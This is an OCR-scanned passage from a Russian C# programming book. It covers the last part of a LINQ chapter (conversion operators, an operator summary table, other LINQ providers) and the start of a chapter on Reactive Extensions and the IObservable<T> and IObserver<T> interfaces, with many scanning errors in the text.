Глава 10 ных обстоятельствах. К счастью, существует простое решение: мож воспользоваться оператором Cast<T>, который показан в листинге 10.& Листинг 10.64. Как следует выполнять приведение типа последовательности var coursesequence = sequence.Cast<Course>(); Данный код возвращает запрос, который по очереди выдает все э; менты своего источника, приводя каждый к указанному целевому тш Это означает, что, несмотря на изначально успешное выполнение ог ратора Cast<T>, вы можете получить исключение InvalidCastExcepti позже, когда попытаетесь извлечь значения из последовательное! В конце концов, в общем случае проверить, что переданная послед вательность действительно выдает только значения типа Т, операг Cast<T> может, лишь попытавшись извлечь их все и выполнить прив дение их типа. Он не способен оценить всю последовательность зараы поскольку существует вероятность передачи бесконечной последов тельности. Кто знает, возможно, первый миллиард ее элементов буд принадлежать к нужному типу, но затем она выдаст элемент несовм стимого типа? Поэтому единственный доступный оператору Cast< способ состоит в том, чтобы пытаться выполнить приведение типа эд ментов по одному за раз. Из-за сходства методов Cast<T> и ofТуре<т> разработчики ин ш гда применяют один из них, когда следовало бы использова —^-3?'другой (обычно из-за незнания о существовании обоих), к тод OfType<T> делает почти то же самое, что и Cast<T>, новмес того, чтобы выбрасывать исключение, просто отфильтровыа ет элементы несовместимого типа. Если вы ожидаете пояш ния таковых и хотите их проигнорировать, используйте мет OfType<T>. Если вы ожидаете, что в последовательности воой не будет элементов несовместимого типа, используйте мет Cast<T>, поскольку в случае неверного предположения он да вам знать, выбросив исключение; это снижает вероятна того, что-возникновение ошибки останется незамеченным. Провайдер LINQ to Objects определяет оператор AsEnumerable< который просто возвращает источник, не внося в него никаких из1 нений, — фактически этот оператор ничего не делает. Его казначея состоит в том, чтобы заставить запросы использовать провайдер LP to Objects, даже если вы имеете дело с чем-то, что можно было бы об| ботать с помощью другого LINQ-провайдера. Допустим, что вы име< 536
UNQ дело с коллекцией, реализующей интерфейс IQueryable<T>. Хотя он на- следует от интерфейса IEnumerable<T>, методы расширения, работающие с IQueryable<T>, будут иметь преимущество над методами провайдера LINQ to Objects. Если вы намереваетесь выполнить конкретный запрос к базе данных, а затем дальнейшую обработку результатов на стороне клиента с помощью провайдера LINQ to Objects, вы можете использо- вать оператор AsEnumerable<T>, чтобы провести черту, указывающую, где обработка переводится на сторону клиента. Существует также и тип AsQueryable<T>. Он предназначен для ис- пользования в сценариях, где вы располагаете переменной статического типа IEnumerable<T>, которая может содержать ссылку на объект, также реализующий интерфейс IQueryable<T>, и вы хотите получить гарантию, что все создаваемые вами запросы вместо провайдера LINQ to Objects будут использовать этот интерфейс. Если применить данный опера- тор к источнику, который в действительности не реализует интерфейс IQueryable<T>, он возвратит обертку, реализующую IQueryable<T>, но за этим фасадом будет использоваться провайдер LINQ to Objects. Еще одним оператором для выбора другого LINQ-провайдера явля- ется AsParallel. Он возвращает коллекцию типа ParallelQuery<T>, что позволяет создавать запросы, выполняемые провайдером Parallel LINQ (PLINQ) (о нем мы поговорим в главе 17). Существует ряд операторов, которые, помимо преобразования за- проса в другой тип, вызывают его немедленное выполнение, вместо того чтобы создавать новый запрос, пристыковывая его к предыдущему. Опе- раторы ТоАггау и ToList возвращают, соответственно, массив или список, содержащий все результаты выполнения входного запроса. Операторы ToDictionary и ToLookup делают то же самое, но возвращают не простой список, а коллекцию с поддержкой ассоциативной выборки элемен- тов. Оператор ToDictionary возвращает объект типа IDictionarycTKey, TValue> и, таким образом, предназначен для сценариев, где одному клю- чу ставится в соответствие только одно значение. Оператор ToLookup предназначен для сценариев, в которых одному ключу может ставиться в соответствие несколько значений, и потому возвращает объект друго- го типа, ILookup<TKey, TValueX Я не упомянул об этом интерфейсе в главе 5, поскольку он специфи- чен для LINQ. Он, по сути, представляет собой то же самое, что и интер- фейс словаря, с тем лишь отличием, что вместо одиночного объекта типа TValue индексатор возвращает коллекцию типа IEnumerable<TValue>. 537
Глава 10 В то время как операторы преобразования в массив и список не пр» нимают аргументов, операторы преобразования в словарь и в выбору нуждаются в сведениях о том, какое значение следует использован в качестве ключа для каждого элемента источника. Как показывает ли стинг 10.65, сообщить об этом позволяет лямбда-выражение. В данное случае в качестве ключа применяется категория курса. Листинг 10.65. Создание выборки данных ILookup<string, Course> categoryLookup = Course.Catalog.ToLookup(course => course.Category); foreach (Course c in categoryLookup["MAT"]) { Console.WriteLine(c.Title); z } Оператор ToDictionary предлагает перегрузку, которая прини мает такой же аргумент и возвращает словарь. В то же время, если в вызвать так, как я вызвал оператор ToLookup в листинге 10.65, она вы бросит исключение. Причиной этого является то, что в нашем каталог несколько курсов обладают одинаковыми категориями, и, соответствен но, им будет ставиться в соответствие один и тот же ключ, а операто ToDictionary требует, чтобы каждый объект обладал уникальным клк чом. Чтобы получить словарь из каталога курсов, нужно либо сначал сгруппировать данные по категории, после чего создать словарь, кажда запись которого будет ссылаться на целую группу, либо использоват лямбда-выражение, возвращающее составной ключ, содержащий кап горию и номер курса, поскольку эта комбинация идентифицирует кур уникальным образом. Оба оператора также предлагают перегрузку, принимающую де лямбда-выражения, — одно извлекает ключ, а второе выбирает, чт применить в качестве соответствующего значения (в качестве и кового не обязательно использовать элемент источника). Наконе! также есть перегрузки, дополнительно принимающие объект тип IEqualityComparer<T>. Итак, мы рассмотрели все стандартные LINQ-операторы, но, ш скольку ознакомление с ними^аняло достаточно много страниц, буде полезно собрать эту информацию воедино. В табл. 10.1 представлен полный перечень LINQ-операторов с кра ким описанием каждого. 538
UNQ Таблица 10.1. Сводная таблица LINQ-операторов Оператор Назначение Aggregate Объединяет все элементы с помощью пользовательской функции, выдавая в итоге одиночный результат All Возвращает значение true, если предоставленный предикат не является ложным ни для одного элемента Any Возвращает значение true, если предоставленный предикат истин- ный д ля как минимум одного элемента AsEnumerable Возвращает последовательность в виде объекта типа IEnumerable<T> (применяется, чтобы заставить запрос использовать провайдер LINQ to Objects) AsParallel Возвращает объект типа ParallelQuery<T> д ля параллельного вы- полнения запроса Asjueryable Там, где это возможно, гарантирует выполнение обработки с ис- пользованием интерфейса IQuerable<T> Average Вычисляет среднее арифметическое значений элементов Cast Выполняет приведение типа каждого элемента в последовательно- сти к указанному типу Ccncat Формирует последовательность путем конкатенации двух последо- вательностей Contains Возвращает значение true, если указанный элемент присутствует в последовательности ч Count, LongCount Возвращает количество элементов в последовательности Distinct Удаляет дубликаты значений ElementAt Возвращает элемент, расположенный в указанной позиции (выбра- сывая исключение при выходе за пределы диапазона) ElementAtOr De fault Возвращает элемент, расположенный в указанной позиции (или значение null при выходе за пределы диапазона) Except Отфильтровывает элементы, которые присутствуют во второй предоставленной коллекции First Возвращает первый элемент, выбрасывая исключение при отсут- ствии таковых FirstOrDefault Возвращает первый элемент или значение null при отсутствии таковых GroupBy Объединяет элементы в группы GroupJoin Группирует элементы в новой последовательности на основе их связи с элементами входной последовательности .Intersect Отфильтровывает элементы, которые отсутствуют во второй предоставленной коллекции Join Выдает элемент для каждой совпадающей пары элементов из двух входных последовательностей Last Возвращает последний элемент, выбрасывая исключение при от- сутствии таковых 539
Глава 10 Оператор Назначение LastOrDefault Возвращает последний элемент, или значение null при отсутствии таковых Max Возвращает наибольшее значение Min Возвращает наименьшее значение OfType Отфильтровывает элементы, которые не принадлежат к указанно- му типу OrderBy Выдает элементы в возрастающем порядке OrderByDescending Выдает элементы в убывающем порядке Reverse Выдает элементы в порядке, противоположном таковому во вход- ной последовательности Select Проецирует каждый элемент последовательности, используя функцию SelectMany Объединяет несколько исходных коллекций в одну SequenceEqual Возвращает значение true, если все элементы равны таковым вто- рой предоставленной последовательности Single Возвращает один элемент, выбрасывая исключение при отсутствии, таковых или при наличии более чем одного элемента SingleOrDefault Возвращает один элемент или значение null при отсутствии элементов; при наличии более чем одного элемента выбрасывает I исключение Skip Отфильтровывает указанное количество элементов с начала по- следовательности SkipWhile Отфильтровывает элементы с начала последовательности до тех пор, пока они удовлетворяют предикату Sum Возвращает результат сложения всех элементов Take Выдает указанное количество элементов, отбрасывая остальные TakeWhile Выдает элементы до тех пор, пока они удовлетворяют предикату, отбрасывая оставшуюся часть последовательности после того, как будет встречен не удовлетворяющий предикату элемент ToArray Возвращает массив, содержащий все элементы последовательное^ ToDictionary Возвращает словарь, содержащий все элементы последователь- ности ToList Возвращает объект типа List<T>, содержащий все элементы по- следовательности ToLookup Возвращает ассоциативную выборку, содержащую все элементы последовательности ‘ Union Выдает все элементы, которые присутствуют в одной из двух вход- ное последовательностей или в каждой из них J Where Отфильтровывает элементы, не удовлетворяющие предоставленно' му предикату ; Zip Объединяет пары элементов из двух входных последовательности 540
UNQ Генерирование последовательностей Класс Enumerable определяет методы расширения для интерфейса IEnumerable<T>, которые вместе составляют провайдер LINQ to Objects. Он также предлагает несколько дополнитетцщых статических методов (не являющихся методами расширения), их можно использовать для создания новых последовательностей. Метод Enumerable. Range принима- ет два аргумента типа int и возвращает объект типа IEnumerable<int>, со- держащий последовательно возрастающий ряд чисел, первое из которых равно значению первого аргумента, а количество элементов — значению второго аргумента. Например, вызов Enumerable.Range(15, 10) выдает последовательность, содержащую числа от 15 до 24 включительно. Метод Enumerable.Repeat<T> принимает значение типа Т и число по- вторений. Он возвращает последовательность, в которой это значение присутствует заданное количество раз. Метод Enumerable.Empty<T> возвращает объект типа IEnumerable<T>, не содержащий ни одного элемента. Возможно, это не покажется вам полезным, поскольку существует и менее многословная альтернатива — записав выражение new Т[0], мы получим не содержащий элементов массив (массивы типа Т реализуют интерфейс IEnumerable<T>). В дей- ствительности именно такой массив и возвращает текущая реализации метода Enumerable. Empty<T>, однако вам не следует полагаться на то, что это будет массив, поскольку такое не оговаривается в документации. Преимущество метода Enumerable. Empty<T> состоит в том, что для любо- го заданного типа т он каждый раз возвращает один и тот же экземпляр. Эго означает, что если по какой-либо причине вам потребуется повторно использовать пустую последовательность в многократно выполняющем- ся цикле, метод Enumerable .Empty<T> будет более эффективен, поскольку ов накладывает гораздо меньшую нагрузку на сборщик мусора. Другие реализации LINQ В большинстве представленных в этой главе листингов использует- ся провайдер LINQ to Objects; исключение составляют лишь несколько Примеров с провайдером LINQ to Entities, предназначенным для работы сбазами данных. В последнем разделе я кратко опишу некоторые из дру- их LINQ-технологий. Конечно, этот список не будет полным, посколь- ку создать собственный LINQ-провайдер может любой разработчик. 541
Глава 10 Если вы помните, в разделе «Фильтрация» я упомянул, что многие из LINQ-провайдеров накладывают ограничения на лямбда-выраженш, передаваемые вами различным операторам. Провайдеры, в выполнении запроса полагающиеся на сервер, поддерживают только ту функцио- нальность, что он предоставляет. У некоторых провайдеров (в особенности это касается клиента служб данных WCF Data Services) возможности сервера настолько ограниче- ны, что на практике будет работать лишь ограниченное подмножество стандартных LINQ-операторов. Entity Framework В примерах запросов к базам данных в настоящей главе использо- вался провайдер LINQto Entities, являющийся частью фреймворкаEntity Framework (EF). Фреймворк EF — это технология доступа к данным, ко- торая поставляется в составе платформы .NET Framework и позволяет установить соответствие между базой данных и объектным слоем. Он поддерживает множество поставщиков баз данных. Фреймворк EF полагается на интерфейс lQueryable<T>. Для каж- дого типа персистентной сущности в модели данных EF может предо- ставить объект, реализующий интерфейс IQueryable<T>, способный послужить в качестве отправной точки для построения запросов дм извлечения сущностей этого и связанных типов. Поскольку интерфейс lQueryable<T> используется не только фреймворком EF, вы будете при- менять стандартный набор методов расширения, предоставляемый классом Queryable в пространстве имен System. Linq; этот механизм рас- считан на то, чтобы каждый провайдер мог встроить свое поведение. Интерфейс IQueryable<T> определяет LINQ-операторы как мето- ды, которые принимают аргументы типа Expression<T> и не принимав! простые делегатные типы, поэтому любые выражения, записываемые вами в запросе или как аргументы лямбда-выражений, передаваемы! нижележащим методам операторов, компилятор преобразует в код, ко- торый создает дерево объектов, представляющее структуру выражен» Фреймворк EF полагается на такие деревья выражений в генериро» нии запросов к базам данных на извлечение нужной вам информацж Это означает, что-вы должны использовать лямбда-выражения; в от.» чие от провайдера LINQ to Objects, в EF-запросе нельзя применять ай нимные методы и делегаты. 542 1
LINQ Поскольку интерфейс IQueryable<T> наследует от интерфейса Hnumerable<T>, к любому EF-источнику допускается применять опера- Юры провайдера LINQto Objects. Вы можете сдедадь это явным образом, иомощью оператора AsEnumerable<T>,-однако иногда такое происходит Иучайно, если вы применяете перегрузку, которую поддерживает про- Чйдер LINQ to Objects, но не поддерживает интерфейс lQueryable<T>. Например, если вы попытаетесь использовать делегат вместо лямбда- фажения в качестве, скажем, предиката оператора Where, запрос будет использовать провайдер LINQ to Objects. Это приведет к тому, что про- йдер LINQ to Entities скачает все содержимое таблицы, а затем вы- полнит оператор Where на клиентской стороне, что, вероятно, будет не пучшим вариантом развития событий. ” UNO to SQL ч LINQ to SQL — еще одна технология доступа к данным, которая, в от- чие от EF, предназначена специально для приложения Microsoft SQL ftrver и обладает несколько иной философией: она разрабатывалась (качестве удобного API-интерфейса .NET для доступа к информации пбазах данных, а не в качестве прослойки между базой данных и объ- жгами, и потому она не предлагает обширных возможностей по отобра- жнию структуры информации используемой базы данных на дизайн |одели предметной области. LINQ to SQL предоставляет объекты, соответствующие конкрет- ны таблицам в базе данных. Эти объекты таблиц реализуют интерфейс Ц)иегуаЫе<Т>, и в том, что касается написания запросов, LINQ to SQL |^ботает так же, как фреймворк ЕЕ 7 Клиент служб данных WCF Data Services n а Службы данных WCF Data Services позволяют передавать и прини- »ть данные с использованием основанного на HTTP стандартного про- юкола Open Data Protocol (OData). Он представляет данные в формате XML или JSON и определяет способы выражения запросов, в том чис- * операции фильтрации, упорядочивания и объединения. Клиентская сторона этой технологии включает LINQ-провайдер на базе интерфейса ЦиегуаЫе<Т>, который, однако, поддерживает лишь небольшое под- июжество стандартных LINQ-операторов, поскольку стандарт OData позволяет закодировать достаточно ограниченный набор запросов. 543
Глава 10 Parallel LINQ (PLINQ) Провайдер Parallel LINQ сходен с провайдером LINQ to Objects в том, что он основывается на объектах и делегатах, а не на деревьям выражений и не на преобразовании запросов. Однако когда вы начнеи запрашивать результаты, он по возможности будет прибегать к много» поточным вычислениям, используя пул потоков с целью более эффей тивного применения доступных ресурсов процессора. В главе 17 я про» демонстрирую многопоточность в действии. i I LINQ to XML t LINQto XML — не LINQ-провайдер. Я упоминаю об этой технологам здесь лишь потому, что ее можно принять за провайдер из-за похожего названия. В действительности он представляет собой API-интерфейс для создания и синтаксического разбора XML-документов. Название «LINQ to XML» он получил потому, что был разработан с целью пре- доставить возможность легкого выполнения LINQ-запросов к XML- документам, однако это обеспечивается за счет представления XML- документов посредством объектной модели .NET. Библиотека классом .NET Framework содержит два отдельных API-интерфейса, которые по- зволяют это сделать: помимо LINQ to XML, она также предлагает моде» DOM (Document Object Model, объектная модель документа). Поскольку модель DOM основана на платформенно-независимом стандарте, она не обеспечивает идеального соответствия идиомам платформы .NET; кроме того, она выглядит излишне причудливо по сравнению с остальным со- держимым библиотеки классов. Однако технология LINQ to XML раз- рабатывалась специально для .NET и потому лучше сочетается с обыч- ными приемами языка С#. Это в том числе включает хорошую работу с LINQ, что обеспечивается за счет предоставления методов, извлекаю- щих элементы документа в терминах интерфейса IEnumerable<T>, - что позволяет делегировать определение и выполнение запросов провайде- ру LINQ to Objects. Реактивные расширения Реактивные расширения (Rx, Reactive Extensions) платформы .NET- тема следующей главы, потому я не буду слишком распространяв о них здесь и скажу лишь, что они являются хорошей иллюстрацией тога как LINQ-операторы работают с различными типами. Кх-расширение 544
LINQ инвертируют показанную в данной главе модель, в которой мы запра- шиваем элементы после того, как в этом возникает необходимость. Вместо использования цикла^ЬмгеасЬ, осуществляющего итерацию по запросу, или вызова одного из выполняющих запрос операторов, таких как ТоАггау или SingleOrDefault, Rx-источник сам осуществляет вызов, после того как становится готовым предоставить данные. Несмотря на такую инверсию, существует LINQ-провайдер для Rx-расширений, который поддерживает большинство стандартных LINQ-операторов. Резюме В данной главе я показал синтаксис запроса, поддерживающий не- которые из наиболее широко используемых LINQ-возможностей. Он позволяет писать запросы в С#, внешне напоминающие запросы к базам данных, но могущие работать с любым LINQ-провайдером, в том числе с провайдером LINQ to Objects для обращения к объектным моделям. Мы рассмотрели стандартные LINQ-операторы; при использовании провайдера LINQ to Objects доступны они все, при применении провай- деров для работы с базами данных — большая их часть. Завершил главу краткий обзор основных LINQ-провайдеров для .NET-приложений. Последним был упомянут провайдер для Rx-расширений. Принцип его действия мы рассмотрим в следующей главе, однако перед этим по- говорим о том, как работают сами Rx-расширения.
Глава 11 РЕАКТИВНЫЕ РАСШИРЕНИЯ А Технология реактивных расширений {Reactive Extensions) для пла> формы .NET, или, как ее еще называют, Rx, создана для работы с аси^ хронными и событийными источниками информации. Она предостав, ляет службы, помогающие организовывать и синхронизировать процец реакции вашего кода на данные из подобного рода источников. Из главы J мы уже знаем, как определять события и подписываться на них, но техно? логия Rx не ограничивается этими базовыми возможностями, предлагав гораздо больше. Она предоставляет абстракцию для источников событий а также набор мощных операторов, которые делают процесс объединени множественных потоков и управления ими значительно проще по cpai нению с использованием делегатов и событий платформы .NET. 1 IObservable<T>, фундаментальная абстракция технологии Rx, - эт последовательность элементов, а ее операторы определены в качеств методов расширения для данного интерфейса. Во многом это напомв нает технологию LINQ to Objects, и схожесть действительно есть: помн мо того, что интерфейсы IObservable<T> и IEnumerable<T> имеют мной общего, реактивные расширения поддерживают почти все стандартны операторы LINQ. Если вы уже знакомы с LINQ to Objects, то быстр освоитесь и с технологией Rx. Разница заключается в том, что в Rxno следовательности являются не настолько пассивными. В отличие от ий терфейса IEnumerable<T>, источники реактивных расширений не жду пока у них запросят их элементы; в свою очередь, потребитель такой источника не может потребовать, чтобы ему предоставили следующи| элемент. Вместо этого Rx использует модель, где источник оповещав своих получателей, когда элементы становятся доступными (такую мо дель называют «push»). Например, если вы пишете приложение, которое имеет дело с реаль- ной финансовой информацией, такой как данные о ценах на фондовой рынке, то модель IObs^tvable<T> будет куда более естественной, чем IEnumerable<T>. Так как технология Rx реализует стандартные LINQ- операторы, вы можете создавать запросы к активному источнику, огра- 546
Реактивные расширения ничивая поток событий с помощью выражения where или группируя эти события по биржевому коду. Реактивные расширения выходят за рамки стандарта LINQ, добавляя свои собстбённые операторы, связанные с не- постоянством, характерным для живых источников данных. К примеру, вы могли бы написать запрос, предоставляющий данные только для тех акций, которые меняются в цене чаще определенного значения. Благодаря модели push, технология Rx лучше подходит для событий- ных источников, чем интерфейс 1ЕпитегаЫе<т> — иногда ее называют LINQ to Events (LINQ для событий). Но почему бы просто не исполь- зовать события или даже обычные делегаты? Реактивные расширения справляются с четырьмя недостатками, присущими этим альтернативным решениям. Во-первых, они определяют для источников стандартную про- цедуру оповещения об ошибках. Во-вторых, они способны доставлять эле- менты в строго определенном порядке даже в условиях многопоточности, когда задействовано множество источников; обычные события или деле- гаты не предлагают простого решения, с помощью которого можно было бы избежать хаоса, возникающего в подобного рода ситуациях. В-третьих, Rx предоставляет четкий способ оповещения о том, что элементов больше не осталось. Четвертая проблема, которую решает Rx, связана с тем, что традиционное событие представлено не в виде обычного объекта, а как специальный член класса; это накладывает значительные ограничения на способ применения события — к примеру, вы не можете передать его в ме- тод в качестве аргумента. Технология Rx превращает источник событий в полноценную сущность, так как это просто объект. Отсюда следует, что вы можете передавать источник событий в качестве аргумента, хранить его в поле или предлагать в виде свойства — все то, чего нельзя проделать с обычным событием платформы .NET. Конечно, в качестве аргумента вы можете передавать и делегат, но это не одно и то же — делегаты хранят со- бытия, но они их не представляют. Нельзя создать метод, подписанный на какое-то событие уровня платформы .NET, которое передается в качестве аргумента, потому что вы не можете передать событие как таковое. Rx ре- шает проблему, представляя источник событий в виде объекта и избегая тем самым использования особой возможности системы типов, которая работает не так, как все остальное. Конечно, вышеперечисленного можно добиться и в мире lEnumerable<T>. Во время перебора своего содержимого коллекция способна просто генерировать исключения, но при использовании функций обратного вызова становится не совсем очевидно, когда и куда их доставлять. Интерфейс IEnumerable<T> заставляет потре- 547
Глава 11 бителей извлекать элементы по одному, потому порядок следовали строго определен, но при использовании обычных событий и делан тов это ничем не подкреплено. Интерфейс IEnumerable<T> сообщав о достижении конца коллекции, но простая функция обратного вызо ва не дает четкого понимания, когда был получен последний вызо! lObservable<T> исключает эти случайности, перенося в уир событи все те вещи, что мы можем гарантированно получить при помощи ил терфейса IEnumerable<T>. Предоставляя соответствующую абстракцию, которая решает таки проблемы, технология Rx способна обеспечить все преимущества LIN( в ситуациях, когда используются события. Она их не заменяет - ecu бы она это делала, я бы не отводил ей пяту!о часть главы 9. Фактичеси технология Rx может использоваться совместно с событиями. Она спо собна выступать в роли связующего звена между собственными и неко торыми другими абстракциями — не только обычными событиями, и также интерфейсом IEnumerable<T> и различными асинхронными моде лями программирования. Технология Rx вовсе не заменяет собой собы тия, а наоборот — выводит их возможности на новый уровень. Реактив ные расширения значительно сложнее для понимания, чем события, и разобравшись с ними, вы получите мощный инструмент. В основе технологии Rx лежат два интерфейса. Источники, пред ставляющие элементы в контексте этой модели, реализуют интерфей IObservable<T>. Подписчики обязаны предоставлять объект, реализую щий интерфейс lObserver<T>. Оба этих интерфейса встроены в библио теку классов платформы .NET. Остальные компоненты Rx не являютс обязательными, поэтому, прежде чем перейти к подробностям, я прояс ню, когда и где именно различные части технологии Rx доступны враз ных версиях .NET. Технология Rx и версии платформы .NET В платформу .NET встроены не все компоненты технологии R] Даже такие базовые вещи как интерфейсы IObservable<T> и I Observer^ встречаются не везде. Они появились в главной версии .NET под нс мером 4.0, а также присутствовали в версиях платформы для Window Phone и Core (эта разновидность .NET доступна для приложений, npi меняющих стиль пользовательского интерфейса Windows 8). Толы платформа Silverlight версии 5, последней на момент написания книп 548
Реактивные расширения не содержит в своих встроенных библиотеках никаких возможностей технологии Rx. Конечно, данная глава не ограничивается этими двумя интерфейса- ми. Тем не менее на сегодняшний день всего одна версия платформы ЛЕТ включает в себя что-то, помимо базовых интерфейсов, — та, кото- рая входит в состав операционной системы Windows Phone. В любой дру- гой версии .NET, если вы хотите выйти за рамки основных интерфейсов (или иметь доступ хотя бы к ним в случе с платформой Silverlight), вам придется получить дополнительные сборки библиотек Rx и поставлять их как часть своего приложения. На самом деле это желание может воз- никнуть у вас даже при разработке для операционной системы Windows Phone, так как загружаемая версия Rx заменяет собой ту, что встроена в телефон. Таблица 11.1 показывает, какие функции технологии Rx до- ступны в разных версиях платформы .NET (без необходимости допол- нительной загрузки). Таблица 11.1. Набор возможностей технологии Rx, доступных в стандартной поставке Версия .NET Встроенные возможности технологии Rx Настольные или серверные версии выше 4.0 Только основные интерфейсы Silverlight версий 4 и 5 Отсутствуют Windows Phone 7.0 и 7.1 Большинство возможностей, версия немного устарела , .NET Core Только основные интерфейсы Хотя операционная система Windows Phone версий 7.0 и 7.1 содержит самый обширный набор возможностей, предостав- ляемых тфснологией Rx, существует одна небольшая загвозд- ка. На этой платформе два базовых интерфейса определены не в тех компонентах библиотеки, которые используются во всех остальных версиях .NET. В системе Windows Phone интер- фейсы IObservable<T> и IObserver<T> размещены в компоненте System.Observable.dll, тогда как в остальных разновидностях .NET они определяются в mscorlib.dll. Интерфейсы находят- ся в одном пространстве имен, поэтому, если вы пишете код, который компилируется для множества платформ, их имена будут совпадать. Тем не менее при попытке написания пере- носимой библиотеки классов (единого компонента, который 549
Глава 11 I -------------------------------------------------------------------1 можно использовать на разных версиях платформы. NET—о| описывается в главе 12) это может вызвать проблемы. Если вы хотите поддерживать операционную систему Windows Phonj версий 7.*, то при написании переносимой библиотеки вы н( сможете использовать технологию Rx. Для этой платформ^ вам придется создавать отдельный бинарный файл. j Компоненты Rx, не являющиеся базовыми, выпускаются регулярна и независимо от основных версий платформы .NET (на момент написм ния этих строк текущая версия имеет номер 2.0). Их необходимо загруз жать отдельно; они не поставляются вместе со средой разработки Visua Studio. Но, несмотря на это, компания Microsoft полноценно поддержи вает технологии Rx в рамках приложений, созданных на ochobc.NET. / Помимо вышеупомянутой проблемы с библиотекой System Observable.<Ш, главная разница между разновидностью Rx, встроен») в Windows Phone, и загружаемой версией заключается в том, что в перво все компоненты, кроме базовых интерфейсов, находятся в пространств имен Microsoft.Phone.Reactive. Это сделано для того, чтобы избежат конфликта имен со встроенной версией, если вы выбрали загружаемы вариант библиотек из состава Rx — в нем используется System.React’» и другие вложенные пространства имен. Если не считать этого, раз личия в целом соответствуют тому, чего можно было бы ожидать пр сравнении более старой и более новой версий библиотеки — загружу мый вариант содержит несколько дополнительных возможностей и не которые улучшения в производительности. Если вам этого не нужно, т в качестве преимущества от использования более старой версии, ветре енной в телефон, может выступать уменьшение размера вашего прилс жения, а также сокращение времени загрузки и установки. Таким обра зом, при написании приложения для операционной системы Window Phone вам, вероятно, стоит начать со встроенного варианта технологи Rx, переключаясь на загружаемую версию, только если она предлагав нечто такое, в чем вы нуждаетесь. Первая версия Rx содержала отдельные .«///-библиотеки для каз дой платформы. В версии 2.0 появилась поддержка переносимых 61 блиотек классов. Она предоставляет набор переносимых .«///-файла которые будут работать на полноценной платформе .NET 4.5 и на вв| сии .NET Core (такой подход облегчит поддержку технологии Rx любой другой платформе, где в будущем появится .NET, — это, к пр меру, должно упростить процесс переноса Rx на систему Window 550
Реактивные расширения Phone 8). К сожалению, переносимые библиотеки не могут поддер- живать платформу Silverlight 5, так как в ее состав не входят базовые интерфейсы технологииКх. С системой Windows Phone версий 7.0 и 7.1 также существуют проблемы: хотя в ней и присутствуют интер- фейсы IObservable<T> и IObserver<T>, они находятся в другой сборке и в другом пространстве имен. Поэтому Rx 2.0 все еще предоставляет для этих платформ отдельные наборы .dll-библиотек. В других плат- формах обычно используются переносимые библиотеки, хотя, как ни странно, инструментарий Rx SDK предоставляет набор непереноси- мых .«///-файлов для полноценной версии .NET 4.5 и .NET Core. Это упрощает процесс миграции для приложений, переходящих на бо- лее новую версию Rx. (В старых версиях библиотеки есть несколько функций, специфичных для отдельной платформы, которые не могут быть предоставлены в переносимых вариантах Rx 2.0. Они продолжа- ют поддерживаться в непереносимых версиях, хотя все подобные воз- можности помечены как устаревшие.) Но даже при использовании переносимых библиотек технология Rx предоставляет расширения, специфичные для отдельных платформ. Существует несколько возможностей, реализуемых не везде. Например, в варианте .NET Core поточные службы в какой«то мере ограничены. Потому некоторые планировщики — о них рассказывается в разделе «Встроенные планировщики» — находятся в .«///-библиотеках, специ- фичных для отдельной платформы. Таким образом, в дополнение к пе- реносимой основе существуют компоненты, характерные для конкрет- ной платформы. Е} примерах для этой главы я буду использовать загружаемую вер- сию библиотеки Rx 2.0, но те же принципы применимы и для более ста- рой версии Rx, содержащейся в системе Windows Phone. Базовые интерфейсы Двумя наиболее важными типами в рамках технологии Rx являют- ся интерфейсы IObservable<T> и IObserver<T>. Для большинства версий платформы .NET это единственные встроенные типы, относящиеся к ре- активным расширениям, и они считаются достаточно весомыми, чтобы находится в пространстве имен System (хотя в платформе Silverlight эти интерфейсы не встроены в главную библиотеку классов). Оба они по- казаны в листинге 11.1. 551
Глава 11 Листинг 11t 1. Интерфейсы IObservable<T> и IObserver<T> public interface IObservable<out T> fr { IDisposable Subscribe(IObserver<T> observer); } public interface IObserver<in T> { void OnCompleted(); void OnError(Exception error); void OnNext(T value); I Интерфейс IObservable<T> реализуется источниками событий. Как я уже упоминал в начале главы, это базовая абстракция для реактив- ных расширений, и вместо использования ключевого слова event она моделирует события в виде последовательности элементов. Интерфейс IObservable<T> по мере готовности предоставляет элементы подпис- чикам. Как вы можете видеть, аргумент для определения типа в интерфей- се IObservable<T> является ковариантным (по сути, оба интерфейса ис- пользуют вариантность, которую я описал в главе 4). Здесь можно было бы интуитивно вспомнить о ключевом слове out, потому что этот ин- терфейс, как и IEnumerable<T>, выступает источником информации - из него появляются элементы. И они уходят в реализацию IObserver<T>, которая имеет ключевое слово in, обозначающее контравариантность. Мы можем подписаться на источник, передав реализацию интер- фейса IObserver<T> в метод Subscribe. Когда источник захочет сообщить о событиях, он запустит метод OnNext, а чтобы сообщить о прекращении дальнейшей активности, он вызовет метод OnCompleted. Если источник пожелает сообщить об ошибке, он сможет воспользоваться методом OnError. И OnCompleted, и OnError сигнализируют о завершении пото- ка — после их срабатывания источник больше не должен вызывать из подписчика никакие другие методы. Процессы, протекающие в контексте технологии Rx, можно предста- вить визуально в виде условных обозначений. На рис. 11.1 таким обра- зом показаны две последовательности событий. Горизонтальные линии обозначают подписки на источники, вертикальная черта, размещенная слева, сигнализирует о начале подписки, а позиция по горизонтали пока- зывает, в какой момент что-то произошло (при этом время течет слева на- 552
Реактивные расширения право). Окружности обозначают вызовы метода OnNext (то есть события, о которых сообщает источник). Стрелка на правом конце говорит о том, что подписка остается активной и после завершения времени, представ- ленного на диаграмме. Вертикальная черта справа обозначает заверше- ние подписки, что можно инициировать либо вызовом методов OnError или OnCompleted, либо в результате отмены подписки на источник. Рис. 11.1. Простая диаграмма процессов, протекающих в рамках технологии Rx При вызове из источника метода Subscribe возвращается объект, реа- лизующий интерфейс IDisposable, который дает возможность отменить подписку. Если вызвать метод Dispose, источник больше не будет до- ставлять подписчику никаких уведомлений. Это может оказаться удоб- нее механизма отмены подписки на событие; чтобы отписаться от со- бытия, вы должны передать делегат, эквивалентный тому, который был использован для подписки. Если вы применяете анонимйые методы, это может оказаться на удивление неудобно, так как часто единственный способ выполнить задачу заключается в сохранении ссылки на изна- чальный делегат. При использовании технологии Rx любая подписка на источник представляется в виде интерфейса IDisposable, что помогает достичь единообразия. На самом деле в большинстве ситуаций вам все равно не нужно будет отписываться — это необходимо делать, только если вы хотите прекратить получать уведомления до того, как источник завершит работу. (нтерфейс !Observer<T> ж вы вскоре увидите, на практике мы часто не вызываем метод ribe напрямую из источника; также обычно нет необходимости зовывать интерфейс IObserver<T> самостоятельно. Вместо это- 1нято использовать один из методов расширения, основанных на тах; вместе с ними технология Rx предоставляет и реализацию, о такие методы расширения не входят в набор базовых типов Rx, потому сейчас я покажу вам, что необходимо написать,-если данные ин- терфейсы — это 